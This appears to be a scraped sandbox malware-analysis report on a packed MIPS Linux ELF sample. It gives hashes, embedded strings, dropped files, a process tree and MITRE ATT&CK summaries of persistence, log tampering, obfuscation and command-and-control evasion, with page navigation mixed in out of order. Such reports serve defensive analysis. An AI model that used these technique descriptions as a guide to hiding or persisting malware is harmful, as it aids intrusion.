Source: O0yR6BYAeD, 6284.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6293.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6298.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6309.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6300.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)
Source: O0yR6BYAeD, 6284.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6293.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6298.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6309.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6300.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.html)
Source: O0yR6BYAeD, 6284.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6293.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6298.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6309.1.0000000068da5043.00000000e90e96f9.r-x.sdmp, O0yR6BYAeD, 6300.1.0000000068da5043.00000000e90e96f9.r-x.sdmp	String found in binary or memory: http://www.billybobbot.com/crawler/)

Process:	/usr/sbin/logrotate
File Type:	ASCII text
Category:	dropped
Size (bytes):	1614
Entropy (8bit):	4.814423396356412
Encrypted:	false
SSDEEP:	48:UEaelqJFNplr0ll6lK5Npq4pNMlJNcsXNU3N6NA55l5xEatNq4wNZNDNU1LN3o95:ory7m4pCxe3MmvA4wTteJYUnCA5eC9kR
MD5:	DF819CD07AEE9271932D86DA21DE9A87
SHA1:	FBC8C9E351B6C67BCCC5A5069D6A38D64B8A122D
SHA-256:	28AC4B3D734C597176EF9CD234FD3974A4DD66994A553BB0240D2D358A30D2EF
SHA-512:	C80A93FCED7917D4730E2D377D97E2A68D68D8EA94AE952157776C284449338D8FB340614216234DF80B2F52057D1B1D99FB6382280128E1616F27616319E9D7
Malicious:	false
Preview:	logrotate state -- version 2."/var/log/syslog" 2022-5-27-1:50:24."/var/log/dpkg.log" 2022-5-26-23:49:50."/var/log/speech-dispatcher/debug-flite" 2021-8-20-13:0:0."/var/log/unattended-upgrades/unattended-upgrades.log" 2022-5-26-23:49:50."/var/log/unattended-upgrades/unattended-upgrades-shutdown.log" 2021-9-17-9:23:29."/var/log/auth.log" 2022-5-26-23:49:50."/var/log/apt/term.log" 2022-5-26-23:49:50."/var/log/ppp-connect-errors" 2021-8-20-13:0:0."/var/log/apport.log" 2021-9-17-9:23:29."/var/log/speech-dispatcher/speech-dispatcher-protocol.log" 2021-8-20-13:0:0."/var/log/apt/history.log" 2022-5-26-23:49:50."/var/log/boot.log" 2021-8-20-13:0:0."/var/log/alternatives.log" 2021-9-17-9:23:29."/var/log/lightdm/*.log" 2021-8-20-13:0:0."/var/log/mail.log" 2021-8-20-13:0:0."/var/log/debug" 2021-8-20-13:0:0."/var/log/kern.log" 2022-5-26-23:49:50."/var/log/cups/access_log" 2022-5-27-1:50:24."/var/log/ufw.log" 2021-8-20-13:0:0."/var/log/speech-dispatcher/speech-dispatcher.log" 2021-8-20-13:0:0."/var/

Process:	/bin/gzip
File Type:	gzip compressed data, last modified: Thu May 26 23:49:50 2022, from Unix
Category:	dropped
Size (bytes):	198
Entropy (8bit):	7.026911102326352
Encrypted:	false
SSDEEP:	3:FthWPYvnbjEDfvmzdjt8U3Fr29uhOO6Y405i4GkoUsKiWa7evlm6nq9Ff/:XhWgzjErOzdpt312C4CiLkAKAao6nqf3
MD5:	A13DEDBAF0E5173E7EA4BCE37A44F2FB
SHA1:	1076568AC85ABC8344C793A304BFA0582E51B7C5
SHA-256:	6E1968A0E9DFB03E8E61F1698641D61952BB56F6BDE184BD3D34706BE6D92459
SHA-512:	7348A51EAB73FA8A6D69BE62D0AE934CBEB571461B69A4324F7B657FDF56ACB46206BAE2BA9CAD531A59D26A0176C123CBA960CF217C36426A6311217AED5233
Malicious:	false
Preview:	.......b......0....8.JLrZ.tuq...&.1F,........9T(...xx........g...9...P...X.a.X........\.%..P.....dY.:.l`M.F..>u.#.l..........n;..-?.....V.j#.RH.X.^{c...Di..-....O.@.yJ.N...}..N...X.....

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	7.947228845851865
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	O0yR6BYAeD
File size:	46128
MD5:	e0d1cdf76af9649b0a840cef21d9cf6d
SHA1:	894f1c5a6b59b6b809b46547cfd044634b4bbb1a
SHA256:	bec7b61ccb7e948c45ec27b894d4f83a411f74dd4e7a6ef5128c274233cd5f5f
SHA512:	eeb592e617fbf35182a446eefe6f455c91c6547621749fbe7d352f2c31c3b4df2f23c79db7915358055c2351e6f97ef1498bd160117adcf4a2c0662322ddc4f5
SSDEEP:	768:3zEdg7w5FofmmnSxX/PPCofk4bh/BX0FpuUqhobGj908UZ5cSgHtMSVDJgGlzDp/:jcIwLofmiSxX/Cr4bwFJqhMCUZSxT5VB
TLSH:	D723F1EC4504625ACA5983B792F30F902A700F3691C2ED8D3B44C6BAE945CDCE856FF6
File Content Preview:	.ELF...........................4.........4. ...(..........................................O..FO..FO.................O...UPX!.h.........l...l.......U.......?.E.h4...@b..) ..]....E......;.\.Z=.k`N.,......5"......O......:....i96dY..S5..6.v....<...H..........

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x109fb0
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	2
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Prog Interpreter	Section Mappings
LOAD	0x0	0x100000	0x100000	0xb2f4	0xb2f4	4.1232	0x5	R E	0x10000
LOAD	0x4f9c	0x464f9c	0x464f9c	0x0	0x0	0.0000	0x6	RW	0x10000

Start time:	01:50:23
Start date:	27/05/2022
Path:	/usr/lib/systemd/systemd
Arguments:	n/a
File size:	1620224 bytes
MD5 hash:	9b2bec7092a40488108543f9334aab75

Start time:	01:50:24
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	01:50:25
Start date:	27/05/2022
Path:	/usr/sbin/invoke-rc.d
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	01:50:26
Start date:	27/05/2022
Path:	/usr/sbin/logrotate
Arguments:	n/a
File size:	84056 bytes
MD5 hash:	ff9f6831debb63e53a31ff8057143af6

Start time:	01:50:30
Start date:	27/05/2022
Path:	/tmp/O0yR6BYAeD
Arguments:	/tmp/O0yR6BYAeD
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time:	01:50:39
Start date:	27/05/2022
Path:	/tmp/O0yR6BYAeD
Arguments:	n/a
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report O0yR6BYAeD

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6268

/var/cache/man/cs/6268

/var/cache/man/cs/index.db.uebnva

/var/cache/man/da/6268

/var/cache/man/da/index.db.iAORV8

/var/cache/man/de/6268

/var/cache/man/de/index.db.mAP3za

/var/cache/man/es/6268

/var/cache/man/es/index.db.CUU1x9

/var/cache/man/fi/6268

/var/cache/man/fi/index.db.uBZ9tb

/var/cache/man/fr.ISO8859-1/6268

/var/cache/man/fr.ISO8859-1/index.db.rNOhv8

/var/cache/man/fr.UTF-8/6268

/var/cache/man/fr.UTF-8/index.db.HEAKM8

/var/cache/man/fr/6268

/var/cache/man/fr/index.db.w2WKe9

/var/cache/man/hu/6268

/var/cache/man/hu/index.db.aqpyx8

/var/cache/man/id/6268

/var/cache/man/id/index.db.Z0Wmfa

/var/cache/man/index.db.kuoQI7

/var/cache/man/it/6268

/var/cache/man/it/index.db.timPT8

/var/cache/man/ja/6268

/var/cache/man/ja/index.db.hrsgD7

/var/cache/man/ko/6268

Linux Analysis Report
O0yR6BYAeD

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre